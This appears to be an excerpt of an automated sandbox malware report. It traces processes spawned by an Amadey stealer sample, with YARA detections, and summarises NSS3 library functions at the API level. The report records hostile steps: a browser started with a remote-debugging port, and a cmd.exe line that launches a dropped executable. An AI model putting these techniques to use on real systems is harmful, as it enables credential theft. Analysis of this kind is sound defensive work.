Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:19:21
Start date:	27/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2168,i,6526957654909996711,10840638383487339068,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	18:19:31
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:19:31
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1788,i,42195172221371813,3229964833316750389,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	18:19:32
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	18:19:32
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2884 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	18:19:36
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6688 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:19:36
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	18:19:36
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3840 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	18:19:36
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3840 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	18:19:59
Start date:	27/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDAFBGHCAKK.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	18:19:59
Start date:	27/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	18:19:59
Start date:	27/11/2024
Path:	C:\Users\user\DocumentsDAFBGHCAKK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsDAFBGHCAKK.exe"
Imagebase:	0xf70000
File size:	1'852'416 bytes
MD5 hash:	045A3A09458A21A8B3B2D3011D1E02D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2748959245.0000000000F71000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2661931956.0000000005670000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	18:20:05
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x730000
File size:	1'852'416 bytes
MD5 hash:	045A3A09458A21A8B3B2D3011D1E02D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2720762041.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2763804157.0000000000731000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	18:20:32
Start date:	27/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6960 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	18:21:00
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x730000
File size:	1'852'416 bytes
MD5 hash:	045A3A09458A21A8B3B2D3011D1E02D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.3263969686.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.3380923126.0000000000731000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 6CAA6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBF2120,6CAA7E60), ref: 6CAA6EBC
TlsGetValue.KERNEL32 ref: 6CAA6EDF
EnterCriticalSection.KERNEL32(?), ref: 6CAA6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CAA6F25

Part of subcall function 6CA7A900: TlsGetValue.KERNEL32(00000000,?,6CBF14E4,?,6CA14DD9), ref: 6CA7A90F
Part of subcall function 6CA7A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CA7A94F

PR_Unlock.NSS3 ref: 6CAA6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CAA6FA9
TlsGetValue.KERNEL32 ref: 6CAA70B4
EnterCriticalSection.KERNEL32(?), ref: 6CAA70C8
PR_CallOnce.NSS3(6CBF24C0,6CAE7590), ref: 6CAA7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA7117
SECOID_Init.NSS3 ref: 6CAA7128
PORT_Alloc_Util.NSS3(00000057), ref: 6CAA714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA71A9
PR_NotifyAllCondVar.NSS3 ref: 6CAA71CF
PR_Unlock.NSS3 ref: 6CAA71DD
free.MOZGLUE(?), ref: 6CAA71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA7208
free.MOZGLUE(00000000), ref: 6CAA7221
free.MOZGLUE(00000001), ref: 6CAA7235
TlsGetValue.KERNEL32 ref: 6CAA724A
EnterCriticalSection.KERNEL32(?), ref: 6CAA725E
PR_NotifyCondVar.NSS3 ref: 6CAA7273
PR_Unlock.NSS3 ref: 6CAA7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CAA7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CBE0148,,defaultModDB,internalKeySlot), ref: 6CAA74CC
free.MOZGLUE(00000000), ref: 6CAA7513
free.MOZGLUE(00000000), ref: 6CAA751B
free.MOZGLUE(00000000), ref: 6CAA7528
free.MOZGLUE(00000000), ref: 6CAA753C
free.MOZGLUE(00000000), ref: 6CAA7550
free.MOZGLUE(00000000), ref: 6CAA7561
free.MOZGLUE(00000000), ref: 6CAA7572
free.MOZGLUE(00000000), ref: 6CAA7583
free.MOZGLUE(00000000), ref: 6CAA7594
free.MOZGLUE(00000000), ref: 6CAA75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CAA75BD
free.MOZGLUE(00000000), ref: 6CAA75C8
free.MOZGLUE(00000000), ref: 6CAA75F1
PR_NewLock.NSS3 ref: 6CAA7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CAA7686
PR_NewLock.NSS3 ref: 6CAA76A2

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CAA76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CAA7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CAA771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CAA7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CAA774A
DeleteCriticalSection.KERNEL32(?), ref: 6CAA7770
free.MOZGLUE(?), ref: 6CAA7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CAA77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAA77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CAA7821
PORT_Alloc_Util.NSS3(?), ref: 6CAA7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAA785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAA786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CAA78AC
free.MOZGLUE(00000000), ref: 6CAA78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CAA78F3
free.MOZGLUE(00000000), ref: 6CAA78FC
free.MOZGLUE(00000000), ref: 6CAA791C

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CAA74C7
sql:, xrefs: 6CAA76FE
NSS Internal Module, xrefs: 6CAA74A2, 6CAA74C6
dbm:, xrefs: 6CAA7716
extern:, xrefs: 6CAA772B
Spac, xrefs: 6CAA7389
dll, xrefs: 6CAA788E
kbi., xrefs: 6CAA7886
,defaultModDB,internalKeySlot, xrefs: 6CAA748D, 6CAA74AA
rdb:, xrefs: 6CAA7744

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: ca57b1ac3b6b63511018053b83b75e81fc0e064be3a8e482fb7e88eccbaf4255
Instruction ID: ff04a2d39c9c978e5ac43a39791ed2192ae83ca45a7628ffed6ed5a5366aedb8
Opcode Fuzzy Hash: ca57b1ac3b6b63511018053b83b75e81fc0e064be3a8e482fb7e88eccbaf4255
Instruction Fuzzy Hash: 1F5204B1E012519BEF118FA4DD057AF7BB4AF09308F184028EC19E7B55E731D99ACB92

Function 6CACBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CACC0C8

Part of subcall function 6CB59440: LeaveCriticalSection.KERNEL32 ref: 6CB595CD
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB59622
Part of subcall function 6CB59440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CB5964E

PR_EnterMonitor.NSS3 ref: 6CACC0AE

Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB591AA
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59212
Part of subcall function 6CB59090: _PR_MD_WAIT_CV.NSS3 ref: 6CB5926B

Part of subcall function 6CA80600: GetLastError.KERNEL32(?,?,?,?,?,6CA805E2), ref: 6CA80642
Part of subcall function 6CA80600: TlsGetValue.KERNEL32(?,?,?,?,?,6CA805E2), ref: 6CA8065D
Part of subcall function 6CA80600: GetLastError.KERNEL32 ref: 6CA80678
Part of subcall function 6CA80600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CA8068A
Part of subcall function 6CA80600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA80693
Part of subcall function 6CA80600: PR_SetErrorText.NSS3(00000000,?), ref: 6CA8069D
Part of subcall function 6CA80600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,D38DCE31,?,?,?,?,?,6CA805E2), ref: 6CA806CA
Part of subcall function 6CA80600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CA805E2), ref: 6CA806E6

PR_EnterMonitor.NSS3 ref: 6CACC0F2
PR_ExitMonitor.NSS3 ref: 6CACC10E
PR_ExitMonitor.NSS3 ref: 6CACC081

Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB5945B
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB59479
Part of subcall function 6CB59440: EnterCriticalSection.KERNEL32 ref: 6CB59495
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB594E4
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB59532
Part of subcall function 6CB59440: LeaveCriticalSection.KERNEL32 ref: 6CB5955D

PR_EnterMonitor.NSS3 ref: 6CACC068

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

Part of subcall function 6CA80600: GetProcAddress.KERNEL32(?,?), ref: 6CA80623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CACC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CACC183
free.MOZGLUE(00000000), ref: 6CACC18E
PR_LoadLibrary.NSS3(?), ref: 6CACC1A3
PR_EnterMonitor.NSS3 ref: 6CACC1D4
PR_ExitMonitor.NSS3 ref: 6CACC1F3
PR_CallOnce.NSS3(6CBF2318,6CACCA70), ref: 6CACC210
PR_EnterMonitor.NSS3 ref: 6CACC22B
PR_ExitMonitor.NSS3 ref: 6CACC247
PR_EnterMonitor.NSS3 ref: 6CACC26A
PR_ExitMonitor.NSS3 ref: 6CACC287
PR_UnloadLibrary.NSS3(?), ref: 6CACC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CACC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CACC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CACC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CACC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CACC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CACC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CACC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CACC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CACC8D5
free.MOZGLUE(00000000), ref: 6CACC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CACC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CACC9E5
free.MOZGLUE(00000000), ref: 6CACCA5A

Strings

NSC_ModuleDBFunc, xrefs: 6CACC0FC
NSS_DISABLE_UNLOAD, xrefs: 6CACC7B0
NSC_GetInterface, xrefs: 6CACC04F
NSS_ReturnModuleSpecData, xrefs: 6CACC275
FC_GetInterface, xrefs: 6CACC054
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CACC38D
nss_mod_log, xrefs: 6CACC3CC
Vendor NSS FIPS Interface, xrefs: 6CACC34A
NSC_GetFunctionList, xrefs: 6CACC093
FC_GetFunctionList, xrefs: 6CACC098
NSS_FORCE_TOKEN_LOCK, xrefs: 6CACC77D
PKCS 11, xrefs: 6CACC2F9, 6CACC314

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 2ee43ff02616962345d5d77b7dba8e6db5f518d18e189916099c734f5e3cbc10
Instruction ID: b65162cdd31394c03fd534907622f8bfa19fcee998792e934d7c55024d089260
Opcode Fuzzy Hash: 2ee43ff02616962345d5d77b7dba8e6db5f518d18e189916099c734f5e3cbc10
Instruction Fuzzy Hash: F3425EB5B002849FDB04DF68E98ABAA7BB5FB45308F040029D8259FB11E731D995CB97

Function 6CBA3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CBA3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBA3FFE
malloc.MOZGLUE(-00000003), ref: 6CBA4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CBDFC62), ref: 6CBA404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CBA407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CBA40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CBA40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBA4112
malloc.MOZGLUE(00000000), ref: 6CBA411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CBA414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBA4160
free.MOZGLUE(?), ref: 6CBA416C
malloc.MOZGLUE(?), ref: 6CBA41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CBA41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CBA4520), ref: 6CBA4244
GetEnvironmentStrings.KERNEL32 ref: 6CBA424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA42E4
malloc.MOZGLUE(00000002), ref: 6CBA42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CBA4342
GetStdHandle.KERNEL32(000000F6), ref: 6CBA43AB
GetStdHandle.KERNEL32(000000F5), ref: 6CBA43B2
GetStdHandle.KERNEL32(000000F4), ref: 6CBA43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CBA4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBA4410

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CBA445E
CloseHandle.KERNEL32(?), ref: 6CBA446B
free.MOZGLUE(?), ref: 6CBA4482
free.MOZGLUE(00000000), ref: 6CBA4492
free.MOZGLUE(00000000), ref: 6CBA44A4
GetLastError.KERNEL32 ref: 6CBA44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CBA44BE
free.MOZGLUE(?), ref: 6CBA44C7
free.MOZGLUE(00000000), ref: 6CBA44D5
free.MOZGLUE(00000000), ref: 6CBA44EA

Strings

=, xrefs: 6CBA44F8
NSPR_INHERIT_FDS=, xrefs: 6CBA41E9
D, xrefs: 6CBA4396

Memory Dump Source

